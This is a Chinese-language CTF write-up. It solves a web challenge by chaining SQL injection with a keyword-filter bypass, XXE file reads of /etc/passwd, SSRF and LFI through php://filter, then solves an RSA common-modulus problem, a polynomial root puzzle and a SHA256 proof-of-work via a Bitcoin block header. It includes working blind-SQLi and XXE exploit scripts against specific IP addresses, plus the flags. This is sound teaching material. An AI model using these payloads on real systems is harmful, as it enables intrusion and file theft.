web
HelloCms
1. 信息收集与 SQL 注入 (Login Bypass)
访问目标网站 http://120.79.131.78:38888/,发现是一个 CMS 系统。尝试访问 login.php,发现存在登录页面。
经过测试,登录处的 username 参数存在 SQL 注入漏洞,但存在关键字过滤。
过滤器分析
后端代码逻辑类似于:
$id = preg_replace('/or/i', "", $id);$id = preg_replace('/and/i', "", $id);$id = preg_replace('/select/i', "", $id);这意味着 or, and, select 等关键字会被替换为空。
绕过方法
我们可以利用双写绕过过滤器:
OR->OORR(中间的OR被删掉后,两边的OandR拼在一起)AND->AANDNDSELECT->SELSELECTECT
通过布尔盲注或联合查询注入,可以获取数据库信息。
最终我们通过注入绕过登录验证,或者直接使用爆破/注入出的管理员密码:kingdom123ABC。
登录后,跳转到 write.php。
2. XXE 漏洞挖掘
在 write.php 页面,我们发现可以提交内容。通过抓包发现,提交的数据会被 XML 解析器处理。
读取 write.php 源码(利用后续发现的漏洞确认)或通过报错推测,后端代码使用了 DOMDocument::loadXML 且未禁用外部实体引用 (LIBXML_NOENT)。
$dom = new DOMDocument;$dom->loadXML($_POST['content'], LIBXML_NOENT);这导致了 XXE (XML External Entity) 漏洞。我们可以构造 Payload 读取服务器本地文件。
Payload 示例 (读取 /etc/passwd):
<!DOCTYPE root [<!ENTITY x SYSTEM "file:///etc/passwd">]><root>&x;</root>3. 内网探测 (SSRF)
由于我们无法直接读取到 Flag(尝试 /flag 失败),我们需要探测内网。
通过读取 /proc/net/arp 文件,获取内网 ARP 表信息。
Payload:
<!DOCTYPE root [<!ENTITY x SYSTEM "file:///proc/net/arp">]><root>&x;</root>结果:
发现内网 IP 172.17.0.3。
接着,利用 XXE 进行 SSRF (Server-Side Request Forgery) 探测该 IP 的 80 端口。
Payload:
<!DOCTYPE root [<!ENTITY x SYSTEM "php://filter/read=convert.base64-encode/resource=http://172.17.0.3/">]><root>&x;</root>(这里使用了 php://filter base64 编码来避免返回内容破坏 XML 结构)
成功访问到 http://172.17.0.3/,发现是一个 Web 服务。
4. 内网 LFI 漏洞利用
进一步探测 http://172.17.0.3/index.php,并读取其源码。
内网 index.php 源码逻辑:
<?php error_reporting(0); include "flag.php"; $file = $_GET['file']; // 过滤器 if(strstr($file,"../") || stristr($file, "tp") || stristr($file,"input") || stristr($file,"data")) { echo "Oh no!"; exit(); } include($file);?>发现存在本地文件包含 (LFI) 漏洞,参数为 file。
过滤器拦截了:
../(路径穿越)tp(拦截http,ftp等 wrapper)input,data(拦截php://input,data://)
但未拦截 php://filter。
5. 组合攻击 (Chain Exploit)
我们的目标是读取内网服务器上的 flag.php。
攻击链路:
- 外部 XXE: 攻击者向
write.php发送 XML Payload。 - SSRF:
write.php解析 XML,向内网http://172.17.0.3/index.php发起请求。 - 内网 LFI: 请求中包含
file参数,利用php://filter读取flag.php。
构造 Payload:
内网请求 URL:
http://172.17.0.3/index.php?file=php://filter/read=convert.base64-encode/resource=flag.php
注意:URL 中的 php:// 不包含 tp,所以能绕过内网的过滤器。
最终 XML Payload:
<!DOCTYPE root [<!ENTITY x SYSTEM "php://filter/read=convert.base64-encode/resource=http://172.17.0.3/index.php?file=php://filter/read=convert.base64-encode/resource=flag.php">]><root>&x;</root>6. 获取 Flag
发送上述 Payload 后,服务器返回了两层 Base64 编码的数据:
- 第一层是
write.php响应的 Base64(由外部 XXE 的php://filter产生)。 - 解码第一层后,得到内网
index.php的响应内容,其中包含flag.php源码的 Base64(由内网 LFI 的php://filter产生)。
解码内层 Base64,得到 flag.php 源码:
<?php//echo "flag{50f84daf3a6dfd6a9f20c9f8ef428942}";?>sql盲注脚本
import requestsimport reimport timeimport sys
url = "http://120.79.131.78:38888/login.php"
def encode_payload(payload): def replace_callback(match): s = match.group(0) if s.lower() == 'or': return s[0] + s + s[1] elif s.lower() == 'and': return s[0] + s + s[1:] elif s.lower() == 'select': return s[0:3] + s + s[3:] return s pattern = re.compile(r"(or|and|select)", re.IGNORECASE) return pattern.sub(replace_callback, payload)
def check(payload): encoded_payload = encode_payload(payload) data = {"username": encoded_payload, "password": "123"} while True: try: response = requests.post(url, data=data, timeout=10) if "maybe password error!" in response.text: return False else: return True except Exception as e: print(f"Error: {e}. Retrying...") time.sleep(2)
def binary_search(template, min_val, max_val): low = min_val high = max_val while low <= high: mid = (low + high) // 2 # Check if value > mid if check(template.format(op=">", val=mid)): low = mid + 1 else: high = mid - 1 return low
if __name__ == "__main__": print("Finding password length...") length = 13 print(f"Password length: {length}")
print("Dumping password...") password = "kingd" sys.stdout.write(password) sys.stdout.flush()
for i in range(6, length + 1): char_code = binary_search(f"admin' AND CONV(HEX(MID(password,{i},1)), 16, 10) {{op}} {{val}}#", 32, 126) char = chr(char_code) password += char sys.stdout.write(char) sys.stdout.flush() print(f"\nPassword: {password}")xxe脚本
import requestsimport reimport base64
url = "http://120.79.131.78:38888/write.php"cookies = {"PHPSESSID": "你的SESSION_ID"} # 需先登录获取
def exploit(): # 目标: 利用 XXE -> SSRF -> LFI 读取内网 flag.php # 内网 LFI Payload: php://filter/read=convert.base64-encode/resource=flag.php internal_url = "http://172.17.0.3/index.php?file=php://filter/read=convert.base64-encode/resource=flag.php"
# 外部 XXE Payload xml_payload = f"""<!DOCTYPE root [ <!ENTITY x SYSTEM "php://filter/read=convert.base64-encode/resource={internal_url}"> ]> <root>&x;</root>"""
data = {"content": xml_payload}
print(f"[*] Sending payload targeting: {internal_url}") r = requests.post(url, cookies=cookies, data=data)
# 提取外层 Base64 match = re.search(r'<root>(.*?)</root>', r.text, re.DOTALL) if match: outer_b64 = match.group(1) try: # 第一层解码 inner_content = base64.b64decode(outer_b64).decode('utf-8') print("[+] Outer decode successful.")
# 提取并进行第二层解码 (去除可能存在的空白字符) inner_b64 = inner_content.strip() flag_source = base64.b64decode(inner_b64).decode('utf-8')
print("[+] Flag Source found:") print(flag_source) except Exception as e: print(f"[-] Error decoding: {e}") else: print("[-] No content found.")
if __name__ == "__main__": exploit()crypto
common rsa
共模攻击
import gmpy2from Crypto.Util.number import long_to_bytes
N =e1 =c1 =e2 =c2 =
def common_modulus_attack(n, e1, c1, e2, c2): gcd, s1, s2 = gmpy2.gcdext(e1, e2) if gcd != 1: print("Error: e1 and e2 are not coprime. GCD is", gcd) return None m = (gmpy2.powmod(c1, s1, n) * gmpy2.powmod(c2, s2, n)) % n return int(m)
m_int = common_modulus_attack(N, e1, c1, e2, c2)if m_int: try: flag = long_to_bytes(m_int) print("Recovered Flag:", flag.decode()) except Exception as e: print("Error decoding flag:", e) print("Raw integer:", m_int)sol
关键代码
from Crypto.Util.number import *import hashlib
p,x,a,b,c=getPrime(2025), getPrime(1024),getPrime(512),getPrime(1024),getPrime(1500)y=x**4+a*x**2+b*x+cprint(f"y={y}")print(f"b={b}")print(f"c={c}")print(f"p={p}")flag=b'flag{'+hashlib.md5((str(a)).encode()).hexdigest().encode()+b'}'已知信息:
- : 2025 位质数(在本题逻辑中似乎未直接用到,可能是干扰项或作为模数背景)
- : 计算结果,数值很大
- : 1024 位质数
- : 1500 位质数
未知信息:
- : 1024 位质数
- : 512 位质数
目标:
- 求解 ,计算其 MD5 值作为 flag。
我们需要观察方程中各项的数量级大小:
- ,则
- ,则
- ,则
关键发现: 最高次项 的数量级 () 远远大于其他所有项之和。,这相对于 来说非常小。 因此,我们可以通过对 开四次方根来近似求解 。 更精确地,考虑到 是常数项,我们可以先减去 : 由于 是整数,我们可以直接计算整数四次方根:求出 后,我们可以逐步剥离方程求解 :
- 计算 :
- 除以 : 记
- 求解 :
Exp
import hashlibimport math
y =b =c =
Y = y - cx = math.isqrt(math.isqrt(Y))print(f"Calculated x (approx): {x}")
# 2. 验证并求解 a# Y - x^4 = a*x^2 + b*x# 提取因子 x: Y - x^4 = x * (a*x + b)term1 = Y - x**4if term1 % x == 0: # temp = a*x + b temp = term1 // x
# temp - b = a*x if (temp - b) % x == 0: a = (temp - b) // x print(f"Found a: {a}")
# 计算 Flag flag_hash = hashlib.md5(str(a).encode()).hexdigest() flag = f"flag{{{flag_hash}}}" print(f"Flag: {flag}") else: print("Error: (temp - b) not divisible by x")else: print("Error: (Y - x^4) not divisible by x")work
题目描述
题目要求输入一个 data,使得 SHA256(data) 的结果以 20 个 0 结尾(十六进制表示)。
错误提示:“No enough trailing zeros in your SHA256!”
题目描述中提到 “就算你有超级计算机你也跑不出来的”,并给出了类似 Bitcoin 创世块哈希的提示。
1. 暴力破解不可行
要求 20 个十六进制 0,即 次尝试,这在计算上是不可能通过普通暴力破解完成的。这暗示我们需要利用现有的、已经经过大量算力计算的结果。
2. 比特币挖矿原理
比特币挖矿的过程就是寻找一个区块头(Block Header),使得其双重 SHA256 哈希值满足一定的难度目标(即小于某个特定的数值)。
比特币的哈希算法是:Block_Hash = SHA256(SHA256(Block_Header))
在比特币浏览器(如 Blockchain.com)上,区块哈希通常以 大端序(Big-Endian) 显示,看起来像这样:
000000000000000000002db501835dd1ea3faea87ee8feb42a304c2c44a8e7fc
可以看到它以大量的 0 开头。
3. 字节序的转换 关键点在于:比特币协议内部以及标准 SHA256 算法产生的字节流,与浏览器显示的十六进制字符串是 字节反序 的关系。
- 浏览器显示 (ID):
00 00 ... 00 2d b5 ...(Leading Zeros) - 实际内存/SHA256结果:
... b5 2d 00 ... 00 00(Trailing Zeros!)
这意味着,任何一个在浏览器上显示拥有 20 个 前导零 的比特币区块,其真实的 SHA256 哈希字节流都拥有 20 个 后尾零。
4. 构造 Payload
服务端执行的检查是 SHA256(data)。
我们需要 SHA256(data) 结尾为 20 个 0。
已知比特币区块满足:SHA256(SHA256(Block_Header)) 结尾为 20 个 0(在字节流层面)。
因此,如果我们让 data = SHA256(Block_Header),那么服务端计算的 SHA256(data) 就等于比特币的区块哈希,从而满足条件。
我们称 SHA256(Block_Header) 为 Midstate(中间状态)。
5. 实施步骤
- 选取区块: 找到一个难度足够高的比特币区块(前导零超过 20 个)。例如区块高度
924457。 - 获取区块头信息:
- Version:
1040187392 - Prev Hash:
000000000000000000015d733e8cb8b1ee5388de1cc0ed13fb4628ccbdcd08af - Merkle Root:
57afe432455f6800b001fec53eb1ab58e68d69ef837683635b17b0e7a38a0e96 - Time:
1763664997 - Bits:
1701d936 - Nonce:
1627458621
- Version:
- 重构区块头: 按照比特币协议(Little-Endian)将上述字段拼接成 80 字节的二进制数据。
- 计算 Midstate: 对区块头进行一次 SHA256。
- 提交 Payload: 将 Midstate 进行 Base64 编码提交给服务器。
Exp
import hashlibimport structimport binasciiimport base64import requests
# 目标区块: 924457# 浏览器显示 Hash: 000000000000000000002db501835dd1ea3faea87ee8feb42a304c2c44a8e7fc
# 1. 构造区块头 (注意字节序转换)version = 1040187392prev_hash = "000000000000000000015d733e8cb8b1ee5388de1cc0ed13fb4628ccbdcd08af"merkle_root = "57afe432455f6800b001fec53eb1ab58e68d69ef837683635b17b0e7a38a0e96"time_val = 1763664997bits = "1701d936"nonce = 1627458621
header = b""header += struct.pack("<I", version)header += binascii.unhexlify(prev_hash)[::-1]header += binascii.unhexlify(merkle_root)[::-1]header += struct.pack("<I", time_val)header += binascii.unhexlify(bits)[::-1]header += struct.pack("<I", nonce)
# 2. 计算 Payload (Midstate)# data = SHA256(Header)midstate = hashlib.sha256(header).digest()
# 3. 发送请求# 服务端将计算 SHA256(data) -> 即 Block Hash (Little Endian Bytes) -> 结尾全是0payload_b64 = base64.b64encode(midstate).decode()print(f"Payload: {payload_b64}")
url = "http://47.107.165.153:45552/"r = requests.get(url, params={"data": payload_b64})print(r.text)